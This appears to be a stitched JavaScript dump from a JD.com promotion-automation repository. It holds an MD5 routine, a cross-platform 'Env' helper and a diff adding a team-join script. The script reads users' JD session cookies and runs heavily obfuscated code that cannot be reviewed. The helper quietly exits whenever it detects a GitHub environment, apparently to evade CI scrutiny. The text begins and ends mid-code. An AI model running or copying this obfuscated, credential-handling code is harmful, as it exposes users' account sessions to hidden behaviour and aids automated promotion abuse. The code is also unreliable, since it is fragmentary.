_0x34835d={'\x71\x6c\x42\x4d\x56':function(_0x14d09b){return _0x389709[_0x551f('221')](_0x14d09b);}};let _0x26bfde={'\x61\x70\x70\x49\x64':_0x389709[_0x551f('222')],'\x62\x6f\x64\x79':{'\x61\x70\x70\x69\x64':_0x389709[_0x551f('223')],'\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64':_0xa4baa9,'\x62\x6f\x64\x79':JSON[_0x551f('ee')](_0x35c71c),'\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e':_0x389709[_0x551f('224')],'\x63\x6c\x69\x65\x6e\x74':'\x48\x35','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64':$[_0x551f('a')]},'\x63\x61\x6c\x6c\x62\x61\x63\x6b\x41\x6c\x6c':!![]};let _0x550eb6='';let _0x44485e=[_0x389709[_0x551f('225')]];if(process[_0x551f('16e')][_0x551f('226')]){if(_0x389709[_0x551f('227')](_0x389709[_0x551f('228')],_0x389709[_0x551f('229')])){_0x550eb6=process[_0x551f('16e')][_0x551f('226')];}else{cookie=''+cookie+ck[_0x551f('43')]('\x3b')[0x0]+'\x3b';}}else{_0x550eb6=_0x44485e[Math[_0x551f('1b6')](_0x389709[_0x551f('22a')](Math[_0x551f('13a')](),_0x44485e[_0x551f('20')]))];}let _0x30b010={'\x75\x72\x6c':_0x551f('22b'),'\x62\x6f\x64\x79':JSON[_0x551f('ee')](_0x26bfde),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x550eb6,'Content-Type':_0x389709[_0x551f('22c')]},'\x74\x69\x6d\x65\x6f\x75\x74':_0x389709[_0x551f('22a')](0x1e,0x3e8)};$[_0x551f('d1')](_0x30b010,async(_0x117a98,_0x78f180,_0x26bfde)=>{try{if(_0x389709[_0x551f('22d')](_0x389709[_0x551f('22e')],_0x389709[_0x551f('22f')])){if(_0x117a98){_0x26bfde=await geth5st[_0x551f('230')](this,arguments);}else{}}else{_0x34835d[_0x551f('231')](_0x4db9fd);}}catch(_0x2f4d0a){$[_0x551f('a3')](_0x2f4d0a,_0x78f180);}finally{_0x389709[_0x551f('232')](_0x4db9fd,_0x26bfde);}});});};_0xod8='jsjiami.com.v6'; +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/function/jd_captian_mn.js b/function/jd_captian_mn.js new file mode 100644 index 0000000..1131ff1 --- /dev/null +++ b/function/jd_captian_mn.js @@ -0,0 +1,35 @@ +/* +console.log("不喜欢被搬运,加密脚本,担心勿跑,安佳组队,助力ck1,需要新会员,入队失败一般是老会员,一次性脚本,瓜分20组上限") +console.log("https://lzkjdz-isv.isvjcloud.com/pool/captain/13145?activityId=4e3b9b6233104c199c0c44ff6edbc85d") + + +*/ +const $ = new Env("蒙牛组队"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let activityList = [ + {'activityId' : '4e3b9b6233104c199c0c44ff6edbc85d' ,'activityShopId' : '1000014803' , 'activityName':'蒙牛' , 'updateCaptainNum' : '20'}, +] +let activityNum = 0; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +console.log("不喜欢被搬运,加密脚本,担心勿跑,飞利浦组队,助力ck1,需要新会员,入队失败一般是老会员,一次性脚本,瓜分20组上限") +console.log("https://lzkjdz-isv.isvjcloud.com/pool/captain/13145?activityId=4e3b9b6233104c199c0c44ff6edbc85d") +console.log('老活动,需要新会员,活动可能还会遇到bug,无法加入队伍一般都是老会员,加密脚本慎重,其他助力ck1,玩不来这类活动的别跑!!!玩不来这类活动的别跑!!!') +var _0xodr='jsjiami.com.v6',_0xodr_=['_0xodr'],_0x4e47=[_0xodr,'\x61\x6d\x74\x70\x61\x32\x6b\x3d','\x65\x58\x56\x75\x54\x57\x6c\x6b\x53\x57\x31\x68\x5a\x32\x56\x56\x63\x6d\x77\x3d','\x63\x47\x6c\x75\x53\x57\x31\x6e','\x52\x6c\x5a\x4e\x5a\x33\x4d\x3d','\x61\x6d\x46\x6f\x57\x55\x34\x3d','\x63\x55\x56\x4c\x56\x47\x34\x3d','\x63\x33\x52\x79\x61\x57\x35\x6e\x61\x57\x5a\x35','\x55\x58\x4e\x57\x61\x6d\x6b\x3d','\x54\x32\x46\x46\x52\x48\x59\x3d','\x54\x57\x5a\x79\x64\x33\x6f\x3d','\x5a\x30\x6c\x43\x61\x58\x55\x3d','\x61\x33\x5a\x56\x63\x56\x6f\x3d','\x61\x30\x35\x57\x59\x32\x49\x3d','\x5a\x45\x39\x48\x5a\x32\x6b\x3d','\x63\x57\x4e\x4e\x59\x31\x67\x3d','\x63\x48\x56\x69\x54\x6d\x45\x3d','\x56\x45\x56\x7a\x52\x58\x55\x3d','\x55\x30\x74\x4e\x54\x6d\x4d\x3d','\x62\x6d\x64\x32\x57\x6d\x30\x3d','\x64\x48\x56\x51\x59\x55\x67\x3d','\x65\x47\x39\x6f\x61\x55\x67\x3d','\x65\x6b\x35\x72\x59\x6b\x77\x3d','\x61\x33\x52\x68\x63\x6e\x55\x3d','\x54\x56\x56\x33\x5a\x32\x38\x3d','\x65\x48\x46\x77\x63\x45\x49\x3d','\x52\x31\x4a\x78\x62\x48\x51\x3d','\x54\x48\x4e\x53\x53\x33\x4d\x3d','\x53\x6b\x78\x51\x52\x6c\x6b\x3d','\x35\x4c\x71\x73\x35\x4c\x69\x63\x36\x4c\x2b\x55\x35\x5a\x75\x65\x35\x4c\x71\x47\x35\x36\x6d\x36\x35\x70\x57\x77\x35\x6f\x32\x75','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x73\x65\x6d\x74\x71\x5a\x48\x6f\x74\x61\x58\x4e\x32\x4c\x6d\x6c\x7a\x64\x6d\x70\x6a\x62\x47\x39\x31\x5a\x43\x35\x6a\x62\x32\x30\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x73\x65\x6d\x74\x71\x5a\x48\x6f\x74\x61\x58\x4e\x32\x4c\x6d\x6c\x7a\x64\x6d\x70\x6a\x62\x47\x39\x31\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x33\x56\x7a\x64\x47\x39\x74\x5a\x58\x49\x76\x5a\x32\x56\x30\x54\x58\x6c\x51\x61\x57\x35\x6e','\x52\x32\x39\x4b\x57\x58\x45\x3d','\x61\x6c\x64\x70\x51\x6b\x6b\x3d','\x63\x56\x6c\x33\x53\x45\x73\x3d','\x54\x6e\x46\x79\x55\x6d\x38\x3d','\x63\x6c\x4a\x78\x54\x6b\x38\x3d','\x62\x32\x31\x45\x53\x55\x38\x3d','\x52\x46\x70\x4c\x53\x58\x45\x3d','\x61\x30\x4e\x55\x56\x6d\x51\x3d','\x64\x58\x4e\x6c\x63\x6b\x6c\x6b\x50\x54\x45\x77\x4d\x44\x41\x77\x4d\x54\x51\x34\x4d\x44\x4d\x6d\x64\x47\x39\x72\x5a\x57\x34\x39','\x4a\x6d\x5a\x79\x62\x32\x31\x55\x65\x58\x42\x6c\x50\x55\x46\x51\x55\x43\x5a\x79\x61\x58\x4e\x72\x56\x48\x6c\x77\x5a\x54\x30\x78','\x52\x6c\x68\x43\x54\x58\x45\x3d','\x61\x6e\x46\x76\x5a\x6b\x38\x3d','\x57\x6b\x46\x46\x51\x32\x6b\x3d','\x61\x31\x42\x6a\x63\x56\x67\x3d','\x54\x32\x74\x6f\x52\x57\x59\x3d','\x65\x57\x31\x57\x56\x32\x30\x3d','\x52\x6d\x70\x7a\x59\x6d\x59\x3d','\x62\x31\x4a\x47\x63\x32\x4d\x3d','\x54\x46\x6c\x53\x61\x55\x45\x3d','\x54\x47\x56\x68\x59\x32\x4d\x3d','\x54\x57\x39\x33\x56\x57\x30\x3d','\x57\x6e\x42\x43\x55\x47\x63\x3d','\x59\x56\x52\x4c\x63\x6b\x6f\x3d','\x54\x45\x74\x4a\x56\x47\x55\x3d','\x61\x47\x68\x46\x54\x56\x6f\x3d','\x62\x6e\x64\x6e\x53\x45\x55\x3d','\x56\x56\x4a\x78\x5a\x58\x67\x3d','\x55\x30\x6c\x57\x55\x56\x6f\x3d','\x57\x57\x39\x68\x54\x30\x67\x3d','\x55\x47\x52\x70\x53\x55\x67\x3d','\x55\x55\x39\x75\x62\x30\x30\x3d','\x64\x47\x64\x58\x5a\x58\x55\x3d','\x63\x32\x64\x49\x61\x47\x63\x3d','\x59\x32\x31\x69\x61\x47\x45\x3d','\x54\x32\x46\x36\x55\x45\x77\x3d','\x51\x6d\x56\x6b\x52\x6b\x67\x3d','\x62\x6e\x56\x43\x59\x57\x6f\x3d','\x56\x58\x4e\x54\x62\x6d\x77\x3d','\x61\x58\x64\x73\x64\x55\x55\x3d','\x5a\x47\x74\x57\x57\x55\x4d\x3d','\x5a\x45\x39\x6e\x64\x58\x51\x3d','\x55\x6c\x42\x44\x65\x47\x55\x3d','\x52\x6d\x78\x49\x52\x30\x49\x3d','\x52\x6e\x64\x74\x53\x55\x34\x3d','\x51\x32\x74\x4f\x52\x48\x49\x3d','\x4c\x69\x39\x56\x55\x30\x56\x53\x58\x30\x46\x48\x52\x55\x35\x55\x55\x77\x3d\x3d','\x53\x6b\x52\x56\x51\x51\x3d\x3d','\x61\x6d\x52\x68\x63\x48\x41\x37\x61\x56\x42\x6f\x62\x32\x35\x6c\x4f\x7a\x6b\x75\x4e\x43\x34\x30\x4f\x7a\x45\x30\x4c\x6a\x4d\x37\x62\x6d\x56\x30\x64\x32\x39\x79\x61\x79\x38\x30\x5a\x7a\x74\x4e\x62\x33\x70\x70\x62\x47\x78\x68\x4c\x7a\x55\x75\x4d\x43\x41\x6f\x61\x56\x42\x6f\x62\x32\x35\x6c\x4f\x79\x42\x44\x55\x46\x55\x67\x61\x56\x42\x6f\x62\x32\x35\x6c\x49\x45\x39\x54\x49\x44\x45\x30\x58\x7a\x4d\x67\x62\x47\x6c\x72\x5a\x53\x42\x4e\x59\x57\x4d\x67\x54\x31\x4d\x67\x57\x43\x6b\x67\x51\x58\x42\x77\x62\x47\x56\x58\x5a\x57\x4a\x4c\x61\x58\x51\x76\x4e\x6a\x41\x31\x4c\x6a\x45\x75\x4d\x54\x55\x67\x4b\x45\x74\x49\x56\x45\x31\x4d\x4c\x43\x42\x73\x61\x57\x74\x6c\x49\x45\x64\x6c\x59\x32\x74\x76\x4b\x53\x42\x4e\x62\x32\x4a\x70\x62\x47\x55\x76\x4d\x54\x56\x46\x4d\x54\x51\x34\x4f\x33\x4e\x31\x63\x48\x42\x76\x63\x6e\x52\x4b\x52\x46\x4e\x49\x56\x30\x73\x76\x4d\x51\x3d\x3d','\x52\x31\x56\x7a\x52\x6e\x45\x3d','\x5a\x32\x4e\x34\x52\x31\x51\x3d','\x61\x55\x46\x51\x52\x6d\x55\x3d','\x56\x57\x5a\x6f\x63\x55\x38\x3d','\x56\x6c\x56\x6d\x54\x58\x49\x3d','\x61\x47\x5a\x50\x5a\x6c\x63\x3d','\x62\x6e\x56\x42\x56\x56\x45\x3d','\x55\x46\x6c\x4b\x56\x6d\x34\x3d','\x57\x45\x46\x4d\x64\x57\x49\x3d','\x52\x47\x64\x5a\x54\x56\x55\x3d','\x59\x33\x68\x79\x52\x6b\x34\x3d','\x54\x48\x4a\x75\x62\x30\x45\x3d','\x61\x33\x70\x6d\x51\x30\x45\x3d','\x64\x32\x56\x6c\x52\x57\x67\x3d','\x63\x57\x56\x6b\x51\x6d\x59\x3d','\x5a\x47\x70\x42\x5a\x6b\x38\x3d','\x56\x6c\x56\x5a\x53\x30\x77\x3d','\x55\x55\x74\x77\x53\x32\x51\x3d','\x59\x56\x6c\x6c\x55\x30\x30\x3d','\x59\x31\x52\x4c\x65\x6b\x59\x3d','\x5a\x45\x4e\x68\x59\x33\x41\x3d','\x62\x31\x4a\x47\x53\x48\x55\x3d','\x64\x6b\x4a\x4d\x61\x58\x49\x3d','\x5a\x57\x35\x32','\x53\x6b\x52\x66\x56\x56\x4e\x46\x55\x6c\x39\x42\x52\x30\x56\x4f\x56\x41\x3d\x3d','\x5a\x58\x64\x58\x63\x57\x49\x3d','\x54\x48\x52\x30\x59\x30\x34\x3d','\x56\x56\x4e\x46\x55\x6c\x39\x42\x52\x30\x56\x4f\x56\x41\x3d\x3d','\x5a\x32\x56\x30\x5a\x47\x46\x30\x59\x51\x3d\x3d','\x57\x6d\x52\x4b\x56\x47\x6f\x3d','\x5a\x58\x42\x54\x59\x33\x51\x3d','\x52\x55\x68\x61\x61\x33\x67\x3d','\x65\x6d\x74\x59\x52\x30\x6b\x3d','\x64\x6d\x35\x49\x53\x32\x73\x3d','\x61\x6e\x68\x78\x59\x57\x63\x3d','\x65\x57\x5a\x70\x61\x31\x45\x3d','\x56\x46\x4a\x4d\x62\x30\x73\x3d','\x61\x57\x78\x51\x56\x58\x59\x3d','\x56\x47\x5a\x31\x5a\x6b\x67\x3d','\x63\x47\x52\x78\x51\x56\x67\x3d','\x51\x56\x5a\x4c\x63\x47\x38\x3d','\x65\x55\x39\x70\x57\x56\x59\x3d','\x54\x56\x56\x6b\x57\x47\x51\x3d','\x54\x57\x56\x61\x53\x32\x73\x3d','\x61\x33\x68\x4d\x63\x47\x49\x3d','\x53\x47\x35\x42\x65\x57\x45\x3d','\x55\x6b\x39\x71\x62\x32\x4d\x3d','\x51\x32\x46\x32\x51\x30\x73\x3d','\x52\x33\x64\x49\x54\x6e\x6f\x3d','\x57\x56\x64\x70\x61\x57\x73\x3d','\x54\x32\x56\x71\x63\x56\x6b\x3d','\x52\x45\x78\x73\x51\x6b\x34\x3d','\x63\x45\x4a\x5a\x65\x46\x59\x3d','\x51\x58\x4e\x51\x55\x6d\x45\x3d','\x65\x6d\x64\x6e\x53\x58\x6b\x3d','\x59\x32\x5a\x4b\x61\x6e\x4d\x3d','\x56\x6d\x64\x71\x65\x46\x6b\x3d','\x5a\x30\x78\x48\x53\x45\x49\x3d','\x54\x56\x64\x6a\x56\x47\x77\x3d','\x56\x46\x4a\x48\x5a\x55\x59\x3d','\x52\x6b\x5a\x75\x5a\x57\x55\x3d','\x64\x6e\x4a\x72\x61\x45\x38\x3d','\x5a\x6c\x42\x69\x5a\x45\x67\x3d','\x54\x6e\x52\x75\x5a\x58\x67\x3d','\x5a\x47\x39\x43\x65\x55\x77\x3d','\x54\x58\x70\x34\x56\x48\x51\x3d','\x59\x58\x42\x70\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74','\x4b\x69\x38\x71','\x53\x6b\x51\x30\x61\x56\x42\x6f\x62\x32\x35\x6c\x4c\x7a\x45\x32\x4e\x7a\x59\x31\x4d\x43\x41\x6f\x61\x56\x42\x6f\x62\x32\x35\x6c\x4f\x79\x42\x70\x54\x31\x4d\x67\x4d\x54\x4d\x75\x4e\x7a\x73\x67\x55\x32\x4e\x68\x62\x47\x55\x76\x4d\x79\x34\x77\x4d\x43\x6b\x3d','\x65\x6d\x67\x74\x53\x47\x46\x75\x63\x79\x31\x44\x54\x6a\x74\x78\x50\x54\x45\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x